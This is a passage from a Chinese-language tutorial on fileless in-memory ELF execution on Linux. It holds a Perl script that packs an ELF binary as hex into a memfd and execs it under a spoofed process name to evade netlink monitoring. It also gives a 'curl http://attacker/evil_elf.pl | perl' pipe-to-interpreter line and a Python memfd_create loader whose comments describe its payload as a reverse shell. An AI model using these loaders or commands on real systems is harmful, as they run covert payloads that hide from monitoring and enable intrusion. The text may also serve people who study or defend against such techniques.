$!/; print $FH pack q/H*/, q/00000000000000000000000003000c0090044000000000000000000000000000/ or die qq/write: $!/; print $FH pack q/H*/, q/0000000003000d00f00440000000000000000000000000000000000003000e00/ or die qq/write: $!/; print $FH pack q/H*/, q/000540000000000000000000000000000000000003000f00b406400000000000/ or die qq/write: $!/; print $FH pack q/H*/, q/00000000000000000000000003001000c0064000000000000000000000000000/ or die qq/write: $!/; print $FH pack q/H*/, q/0000000003001100ec0640000000000000000000000000000000000003001200/ or die qq/write: $!/; print $FH pack q/H*/, q/200740000000000000000000000000000000000003001300100e600000000000/ or die qq/write: $!/; print $FH pack q/H*/, q/00000000000000000000000003001400180e6000000000000000000000000000/ or die qq/write: $!/; print $FH pack q/H*/, q/0000000003001500200e60000000000000000000000000000000000003001600/ or die qq/write: $!/; print $FH pack q/H*/, q/280e60000000000000000000000000000000000003001700f80f600000000000/ or die qq/write: $!/; print $FH pack q/H*/, q/0000000000000000000000000300180000106000000000000000000000000000/ or die qq/write: $!/; print $FH pack q/H*/, q/0000000003001900401060000000000000000000000000000000000003001a00/ or die qq/write: $!/; print $FH pack q/H*/, q/501060000000000000000000000000000000000003001b000000000000000000/ or die qq/write: $!/; print $FH pack q/H*/, q/0000000000000000010000000400f1ff00000000000000000000000000000000/ or die qq/write: $!/; print $FH pack q/H*/, q/0c00000001001500200e60000000000000000000000000001900000002000e00/ or die qq/write: $!/; print $FH pack q/H*/, q/300540000000000000000000000000001b00000002000e007005400000000000/ or die qq/write: $!/; print $FH pack q/H*/, q/00000000000000002e00000002000e00b0054000000000000000000000000000/ or die qq/write: $!/; print $FH pack q/H*/, q/4400000001001a00501060000000000001000000000000005300000001001400/ or die qq/write: $!/; print $FH pack q/H*/, q/180e60000000000000000000000000007a00000002000e00d005400000000000/ or die qq/write: $!/; print $FH pack q/H*/, q/00000000000000008600000001001300100e6000000000000000000000000000/ or die qq/write: $!/; print $FH pack q/H*/, q/a50000000400f1ff00000000000000000000000000000000010000000400f1ff/ or die qq/write: $!/; print $FH pack q/H*/, q/00000000000000000000000000000000b3000000010012001008400000000000/ or die qq/write: $!/; print $FH pack q/H*/, q/0000000000000000c100000001001500200e6000000000000000000000000000/ or die qq/write: $!/; print $FH pack q/H*/, q/000000000400f1ff00000000000000000000000000000000cd00000000001300/ or die qq/write: $!/; print $FH pack q/H*/, q/180e6000000000000000000000000000de00000001001600280e600000000000/ or die qq/write: $!/; print $FH pack q/H*/, q/0000000000000000e700000000001300100e6000000000000000000000000000/ or die qq/write: $!/; print $FH pack q/H*/, q/fa00000000001100ec0640000000000000000000000000000d01000001001800/ or die qq/write: $!/; print $FH pack q/H*/, q/001060000000000000000000000000002301000012000e00b006400000000000/ or die qq/write: $!/; print $FH pack q/H*/, q/0200000000000000330100002000000000000000000000000000000000000000/ or die qq/write: $!/; print $FH pack q/H*/, q/9d01000020001900401060000000000000000000000000004f01000012000000/ or die qq/write: $!/; print $FH pack q/H*/, q/0000000000000000000000000000000061010000100019005010600000000000/ or die qq/write: $!/; print $FH pack q/H*/, q/00000000000000002d01000012000f00b4064000000000000000000000000000/ or die qq/write: $!/; print $FH pack q/H*/, q/6801000012000000000000000000000000000000000000007c01000012000000/ or die qq/write: $!/; print $FH pack q/H*/, q/000000000000000000000000000000009b010000100019004010600000000000/ or die qq/write: $!/; print $FH pack q/H*/, q/0000000000000000a80100002000000000000000000000000000000000000000/ or die qq/write: $!/; print $FH pack q/H*/, q/b70100001102190048106000000000000000000000000000c401000011001000/ or die qq/write: $!/; print $FH pack q/H*/, q/c0064000000000000400000000000000d301000012000e004006400000000000/ or die qq/write: $!/; print $FH pack q/H*/, q/6500000000000000d900000010001a0058106000000000000000000000000000/ or die qq/write: $!/; print $FH pack q/H*/, q/a101000012000e0000054000000000002a00000000000000e301000010001a00/ or die qq/write: $!/; print $FH pack q/H*/, q/50106000000000000000000000000000ef01000012000e00f605400000000000/ or die qq/write: $!/; print $FH pack q/H*/, q/4500000000000000f40100002000000000000000000000000000000000000000/ or die qq/write: $!/; print $FH pack q/H*/, q/0802000012000000000000000000000000000000000000001a02000011021900/ or die qq/write: $!/; print $FH pack q/H*/, q/5010600000000000000000000000000026020000200000000000000000000000/ or die qq/write: $!/; print $FH pack q/H*/, q/0000000000000000400200001200000000000000000000000000000000000000/ or die qq/write: $!/; print $FH pack q/H*/, q/dd01000012000b00700440000000000000000000000000000063727473747566/ or die qq/write: $!/; print $FH pack q/H*/, q/662e63005f5f4a43525f4c4953545f5f00646572656769737465725f746d5f63/ or die qq/write: $!/; print $FH pack q/H*/, q/6c6f6e6573005f5f646f5f676c6f62616c5f64746f72735f61757800636f6d70/ or die qq/write: $!/; print $FH pack q/H*/, q/6c657465642e37353934005f5f646f5f676c6f62616c5f64746f72735f617578/ or die qq/write: $!/; print $FH pack q/H*/, q/5f66696e695f61727261795f656e747279006672616d655f64756d6d79005f5f/ or die qq/write: $!/; print $FH pack q/H*/, q/6672616d655f64756d6d795f696e69745f61727261795f656e747279006e6577/ or die qq/write: $!/; print $FH pack q/H*/, q/5f70735f657865632e63005f5f4652414d455f454e445f5f005f5f4a43525f45/ or die qq/write: $!/; print $FH pack q/H*/, q/4e445f5f005f5f696e69745f61727261795f656e64005f44594e414d4943005f/ or die qq/write: $!/; print $FH pack q/H*/, q/5f696e69745f61727261795f7374617274005f5f474e555f45485f4652414d45/ or die qq/write: $!/; print $FH pack q/H*/, q/5f484452005f474c4f42414c5f4f46465345545f5441424c455f005f5f6c6962/ or die qq/write: $!/; print $FH pack q/H*/, q/635f6373755f66696e69005f49544d5f64657265676973746572544d436c6f6e/ or die qq/write: $!/; print $FH pack q/H*/, q/655461626c6500707574734040474c4942435f322e322e35005f656461746100/ or die qq/write: $!/; print $FH pack q/H*/, q/7072696e74664040474c4942435f322e322e35005f5f6c6962635f7374617274/ or die qq/write: $!/; print $FH pack q/H*/, q/5f6d61696e4040474c4942435f322e322e35005f5f646174615f737461727400/ or die qq/write: $!/; print $FH pack q/H*/, q/5f5f676d6f6e5f73746172745f5f005f5f64736f5f68616e646c65005f494f5f/ or die qq/write: $!/; print $FH pack q/H*/, q/737464696e5f75736564005f5f6c6962635f6373755f696e6974005f5f627373/ or die qq/write: $!/; print $FH pack q/H*/, q/5f7374617274006d61696e005f4a765f5265676973746572436c617373657300/ or die qq/write: $!/; print $FH pack q/H*/, q/657869744040474c4942435f322e322e35005f5f544d435f454e445f5f005f49/ or die qq/write: $!/; print $FH pack q/H*/, q/544d5f7265676973746572544d436c6f6e655461626c6500657865636c704040/ or die qq/write: $!/; print $FH pack q/H*/, q/474c4942435f322e322e3500002e73796d746162002e737472746162002e7368/ or die qq/write: $!/; print $FH pack q/H*/, q/737472746162002e696e74657270002e6e6f74652e4142492d746167002e6e6f/ or die qq/write: $!/; print $FH pack q/H*/, q/74652e676e752e6275696c642d6964002e676e752e68617368002e64796e7379/ or die qq/write: $!/; print $FH pack q/H*/, q/6d002e64796e737472002e676e752e76657273696f6e002e676e752e76657273/ or die qq/write: $!/; print $FH pack q/H*/, q/696f6e5f72002e72656c612e64796e002e72656c612e706c74002e696e697400/ or die qq/write: $!/; print $FH pack q/H*/, q/2e706c742e676f74002e74657874002e66696e69002e726f64617461002e6568/ or die qq/write: $!/; print $FH pack q/H*/, q/5f6672616d655f686472002e65685f6672616d65002e696e69745f6172726179/ or die qq/write: $!/; print $FH pack q/H*/, q/002e66696e695f6172726179002e6a6372002e64796e616d6963002e676f742e/ or die qq/write: $!/; print $FH pack q/H*/, q/706c74002e64617461002e627373002e636f6d6d656e74000000000000000000/ or die qq/write: $!/; print $FH pack q/H*/, q/0000000000000000000000000000000000000000000000000000000000000000/ or die qq/write: $!/; print $FH pack q/H*/, q/0000000000000000000000000000000000000000000000001b00000001000000/ or die qq/write: $!/; print $FH pack q/H*/, q/0200000000000000380240000000000038020000000000001c00000000000000/ or die qq/write: $!/; print $FH pack q/H*/, q/0000000000000000010000000000000000000000000000002300000007000000/ or die qq/write: $!/; print $FH pack q/H*/, q/0200000000000000540240000000000054020000000000002000000000000000/ or die qq/write: $!/; print $FH pack q/H*/, q/0000000000000000040000000000000000000000000000003100000007000000/ or die qq/write: $!/; print $FH pack q/H*/, q/0200000000000000740240000000000074020000000000002400000000000000/ or die qq/write: $!/; print $FH pack q/H*/, q/00000000000000000400000000000000000000000000000044000000f6ffff6f/ or die qq/write: $!/; print $FH pack q/H*/, q/0200000000000000980240000000000098020000000000001c00000000000000/ or die qq/write: $!/; print $FH pack q/H*/, q/0500000000000000080000000000000000000000000000004e0000000b000000/ or die qq/write: $!/; print $FH pack q/H*/, q/0200000000000000b802400000000000b802000000000000a800000000000000/ or die qq/write: $!/; print $FH pack q/H*/, q/0600000001000000080000000000000018000000000000005600000003000000/ or die qq/write: $!/; print $FH pack q/H*/, q/0200000000000000600340000000000060030000000000005000000000000000/ or die qq/write: $!/; print $FH pack q/H*/, q/0000000000000000010000000000000000000000000000005e000000ffffff6f/ or die qq/write: $!/; print $FH pack q/H*/, q/0200000000000000b003400000000000b0030000000000000e00000000000000/ or die qq/write: $!/; print $FH pack q/H*/, q/0500000000000000020000000000000002000000000000006b000000feffff6f/ or die qq/write: $!/; print $FH pack q/H*/, q/0200000000000000c003400000000000c0030000000000002000000000000000/ or die qq/write: $!/; print $FH pack q/H*/, q/0600000001000000080000000000000000000000000000007a00000004000000/ or die qq/write: $!/; print $FH pack q/H*/, q/0200000000000000e003400000000000e0030000000000001800000000000000/ or die qq/write: $!/; print $FH pack q/H*/, q/0500000000000000080000000000000018000000000000008400000004000000/ or die qq/write: $!/; print $FH pack q/H*/, q/4200000000000000f803400000000000f8030000000000007800000000000000/ or die qq/write: $!/; print $FH pack q/H*/, q/0500000018000000080000000000000018000000000000008e00000001000000/ or die qq/write: $!/; print $FH pack q/H*/, q/0600000000000000700440000000000070040000000000001a00000000000000/ or die qq/write: $!/; print $FH pack q/H*/, q/0000000000000000040000000000000000000000000000008900000001000000/ or die qq/write: $!/; print $FH pack q/H*/, q/0600000000000000900440000000000090040000000000006000000000000000/ or die qq/write: $!/; print $FH pack q/H*/, q/0000000000000000100000000000000010000000000000009400000001000000/ or die qq/write: $!/; print $FH pack q/H*/, q/0600000000000000f004400000000000f0040000000000000800000000000000/ or die qq/write: $!/; print $FH pack q/H*/, q/0000000000000000080000000000000000000000000000009d00000001000000/ or die qq/write: $!/; print $FH pack q/H*/, q/060000000000000000054000000000000005000000000000b201000000000000/ or die qq/write: $!/; print $FH pack q/H*/, q/000000000000000010000000000000000000000000000000a300000001000000/ or die qq/write: $!/; print $FH pack q/H*/, q/0600000000000000b406400000000000b4060000000000000900000000000000/ or die qq/write: $!/; print $FH pack q/H*/, q/000000000000000004000000000000000000000000000000a900000001000000/ or die qq/write: $!/; print $FH pack q/H*/, q/0200000000000000c006400000000000c0060000000000002900000000000000/ or die qq/write: $!/; print $FH pack q/H*/, q/000000000000000004000000000000000000000000000000b100000001000000/ or die qq/write: $!/; print $FH pack q/H*/, q/0200000000000000ec06400000000000ec060000000000003400000000000000/ or die qq/write: $!/; print $FH pack q/H*/, q/000000000000000004000000000000000000000000000000bf00000001000000/ or die qq/write: $!/; print $FH pack q/H*/, q/020000000000000020074000000000002007000000000000f400000000000000/ or die qq/write: $!/; print $FH pack q/H*/, q/000000000000000008000000000000000000000000000000c90000000e000000/ or die qq/write: $!/; print $FH pack q/H*/, q/0300000000000000100e600000000000100e0000000000000800000000000000/ or die qq/write: $!/; print $FH pack q/H*/, q/000000000000000008000000000000000000000000000000d50000000f000000/ or die qq/write: $!/; print $FH pack q/H*/, q/0300000000000000180e600000000000180e0000000000000800000000000000/ or die qq/write: $!/; print $FH pack q/H*/, q/000000000000000008000000000000000000000000000000e100000001000000/ or die qq/write: $!/; print $FH pack q/H*/, q/0300000000000000200e600000000000200e0000000000000800000000000000/ or die qq/write: $!/; print $FH pack q/H*/, q/000000000000000008000000000000000000000000000000e600000006000000/ or die qq/write: $!/; print $FH pack q/H*/, q/0300000000000000280e600000000000280e000000000000d001000000000000/ or die qq/write: $!/; print $FH pack q/H*/, q/0600000000000000080000000000000010000000000000009800000001000000/ or die qq/write: $!/; print $FH pack q/H*/, q/0300000000000000f80f600000000000f80f0000000000000800000000000000/ or die qq/write: $!/; print $FH pack q/H*/, q/000000000000000008000000000000000800000000000000ef00000001000000/ or die qq/write: $!/; print $FH pack q/H*/, q/0300000000000000001060000000000000100000000000004000000000000000/ or die qq/write: $!/; print $FH pack q/H*/, q/000000000000000008000000000000000800000000000000f800000001000000/ or die qq/write: $!/; print $FH pack q/H*/, q/0300000000000000401060000000000040100000000000001000000000000000/ or die qq/write: $!/; print $FH pack q/H*/, q/000000000000000008000000000000000000000000000000fe00000008000000/ or die qq/write: $!/; print $FH pack q/H*/, q/0300000000000000501060000000000050100000000000000800000000000000/ or die qq/write: $!/; print $FH pack q/H*/, q/0000000000000000010000000000000000000000000000000301000001000000/ or die qq/write: $!/; print $FH pack q/H*/, q/3000000000000000000000000000000050100000000000003500000000000000/ or die qq/write: $!/; print $FH pack q/H*/, q/0000000000000000010000000000000001000000000000001100000003000000/ or die qq/write: $!/; print $FH pack q/H*/, q/000000000000000000000000000000006c190000000000000c01000000000000/ or die qq/write: $!/; print $FH pack q/H*/, q/0000000000000000010000000000000000000000000000000100000002000000/ or die qq/write: $!/; print $FH pack q/H*/, q/0000000000000000000000000000000088100000000000009006000000000000/ or die qq/write: $!/; print $FH pack q/H*/, q/1e0000002f000000080000000000000018000000000000000900000003000000/ or die qq/write: $!/; print $FH pack q/H*/, q/0000000000000000000000000000000018170000000000005402000000000000/ or die qq/write: $!/; print $FH pack q/H*/, q/000000000000000001000000000000000000000000000000/ or die qq/write: $!/; print "done\n"; # execute new program print "here we go...\n"; exec {"/proc/$$/fd/$fd"} "nomal_process name" or die "exec: $!";
netlink的监控消息如下:
可以看到,netlink监控到的新进程的cmdline被替换为了我们重命名后的”normal_process name“,这起到了进程cmdline隐藏的目的。
现在我们已经实现在Linux内存中执行ELF文件,不会在磁盘或者文件系统中留下任何痕迹。为了尽快且方便地加载可执行文件,我们可以将带有ELF文件的脚本通过管道交给Perl解释器执行:
$ curl http://attacker/evil_elf.pl | perl
4. 使用python进行memfd_create无文件执行
- 使用memfd_create()系统调用来创建匿名文件
- 使用可执行ELF文件填充该文件
- 执行该文件,也可以使用fork()多次执行该文件
import ctypes import os # read the executable file. It is a reverse shell in our case binary = open('./new_ps_exec','rb').read() fd = ctypes.CDLL(None).syscall(319,"",1) # call memfd_create and create an anonymous file final_fd = open('/proc/self/fd/'+str(fd),'wb') # write our executable file. final_fd.write(binary) final_fd.close() fork1 = os.fork() #create a child if 0 != fork1: os._exit(0) ctypes.CDLL(None).syscall(112) # call setsid() to create a parent. fork2 = os.fork() #create a child from the parent. if 0 != fork2: os._exit(0) os.execl('/proc/self/fd/'+str(fd),'argv0','argv1') # run our payload.
为了在python中调用syscall,我们需要标准的ctypes以及os库,以便写入并执行文件、管理进程。所有操作步骤都与perl类似。
在如上代码中,我们读取的是位于当前目录中的一个文件,我们也可以选择从web服务器远程加载该文件。
Relevant Link:
https://www.freebuf.com/sectool/202312.html https://github.com/rek7/fireELF https://magisterquis.github.io/2018/03/31/in-memory-only-elf-execution.html https://mp.weixin.qq.com/s/SdR6ce9xjbS5UQbh14kfgg https://mp.weixin.qq.com/s/SdR6ce9xjbS5UQbh14kfgg https://blog.fbkcs. ru/en/elf-in-memory-execution/ https://www.anquanke.com/post/id/168791 http://www.polaris-lab.com/index.php/archives/666/#comment-80